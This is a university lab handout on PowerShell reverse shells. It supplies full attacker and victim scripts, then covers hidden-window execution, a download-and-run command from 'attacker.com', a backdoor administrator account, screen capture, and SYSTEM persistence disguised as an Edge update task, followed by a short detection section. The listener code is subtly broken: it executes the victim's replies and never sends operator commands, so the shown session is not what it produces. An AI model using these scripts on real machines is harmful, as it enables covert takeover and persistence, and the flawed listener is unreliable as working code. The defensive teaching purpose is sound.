Lab 3.2: Reverse Shell and Remote Control
Learning Objectives
By the end of this lab, you will be able to:
- Understand the concept of a reverse shell
- Establish a reverse shell connection between two machines
- Execute commands remotely
- Transfer files between machines
- Identify and block reverse shells
- Understand how malware communicates with its C&C server
Estimated Duration
30 minutes
Prerequisites
- 2 Windows VMs (or 1 Windows + 1 Kali)
- Configured VirtualBox internal network
- PowerShell
Professional Context
Reverse shells are used by:
- Pentesters to test network security
- Administrators for remote support
- Malware for remote control (RAT)
- APT to maintain long-term access
⚠️ ETHICAL AND LEGAL WARNING
AUTHORIZED: On your test VMs only, isolated network
PROHIBITED: On unauthorized systems, unauthorized access
CONSEQUENCES: Serious crime - Prison and massive fines
Part 1: Lab Setup
Step 1.1: Architecture
VM1: Attacker
IP: 192.168.100.10
Port: 4444 (listening)
VM2: Victim
IP: 192.168.100.20
Connection to VM1
Step 1.2: Network Configuration
On VM1 and VM2:
Settings → Network → Internal Network "LabNet"
PowerShell - IP Configuration:
# VM1
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.10 -PrefixLength 24
# VM2
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.20 -PrefixLength 24
Test:
ping 192.168.100.20
Part 2: PowerShell Method (Native)
Step 2.1: VM1 - Listener
On VM1 (Attacker), save listener.ps1:
Write-Host "=== REVERSE SHELL LISTENER ===" -ForegroundColor Cyan
Write-Host "Listening on port 4444..." -ForegroundColor Yellow
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444)
$listener.Start()
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
Write-Host "CONNECTION RECEIVED!" -ForegroundColor Green
Write-Host "IP: $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
Write-Host ""
[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nPS " + (pwd).Path + "> ")
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)
} catch {
$sendback = "Error: $_`n"
}
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
Write-Host "Connection closed" -ForegroundColor Red
Execute:
powershell -ExecutionPolicy Bypass -File listener.ps1
Wait for connection...
Step 2.2: VM2 - Client (Victim)
On VM2, save reverse.ps1:
$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
} catch {
$sendback = "Error: $_`n"
}
$sendback2 = $sendback
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
Execute:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1
Step 2.3: CONNECTION ESTABLISHED!
On VM1, you now see:
=== REVERSE SHELL LISTENER ===
Listening on port 4444...
CONNECTION RECEIVED!
IP: 192.168.100.20:54321
PS C:\Users\Attacker>
Type commands:
whoami
hostname
Get-Process
Get-LocalUser
Get-ChildItem C:\Users
Get-NetTCPConnection
systeminfo
BOOM! Full control of VM2 from VM1!
Questions:
- Was the connection established?
- Can you execute PowerShell commands?
- How long did the establishment take?
Part 3: Advanced Actions
Step 3.1: File Transfer
Download a file from the victim:
# On VM1 (from the shell)
Get-Content C:\Users\Victim\Desktop\secret.txt
Create a file on the victim:
"You have been compromised!" | Out-File C:\Users\Public\pwned.txt
Download and execute a script:
Invoke-WebRequest -Uri "http://attacker.com/tool.ps1" -OutFile C:\temp\tool.ps1
. C:\temp\tool.ps1
Step 3.2: Create Backdoor User
From the shell on VM2:
net user backdoor P@ssw0rd123! /add
net localgroup Administrators backdoor /add
You just created a permanent admin account!
Step 3.3: Remote Screenshot
Capture the victim's screen:
Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")
Result: Screenshot saved!
Questions: 4. Did you succeed in creating a user account? 5. Does the screenshot work?
Part 4: Persistence
Step 4.1: Automatic Scheduled Task
On VM2, create persistence:
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\reverse.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
-Action $action -Trigger $trigger -Principal $principal
Test:
- Restart VM2
- VM1 launches listener
- Automatic connection!
Questions: 6. Does persistence work after reboot? 7. Is the task visible to a normal user?
Part 5: Detection and Defense
Step 5.1: Detect Active Connections
Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemoteAddress -ne "127.0.0.1"} |
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,@{
Name="ProcessName"
Expression={(Get-Process -Id $_.OwningProcess).Name}
} | Format-Table
Suspect: powershell.exe with external connection!
Step 5.2: Block with Firewall
New-NetFirewallRule -DisplayName "Block PowerShell Outbound" `
-Direction Outbound `
-Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" `
-Action Block
Step 5.3: Remove Persistence
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
Get-Process powershell | Where-Object {$_.CommandLine -like "*reverse*"} | Stop-Process -Force
Questions: 8. Did you detect the reverse shell? 9. Does the firewall block work?
Deliverables
-
Technical Document (3-4 pages):
- Answers to the 9 questions
- Network architecture diagram
- Screenshots of the active shell
-
Security Analysis (2 pages):
- Detection in enterprise
- Prevention measures
Reference Commands
# Listener (VM1)
powershell -ExecutionPolicy Bypass -File listener.ps1
# Client (VM2)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1
# Detection
Get-NetTCPConnection | Where State -eq "Established"
Get-Process powershell
# Blocking
New-NetFirewallRule -DisplayName "Block" -Direction Outbound -Program "powershell.exe" -Action Block
Conclusion
Key Lessons:
- Reverse shell = Full remote control
- Easily bypasses firewall
- PowerShell = Very powerful
- Persistence = Permanent access
- Detection possible with network monitoring
Message: Outbound network monitoring essential in enterprise!
Lab developed as part of the Operating Systems course - MODULE 3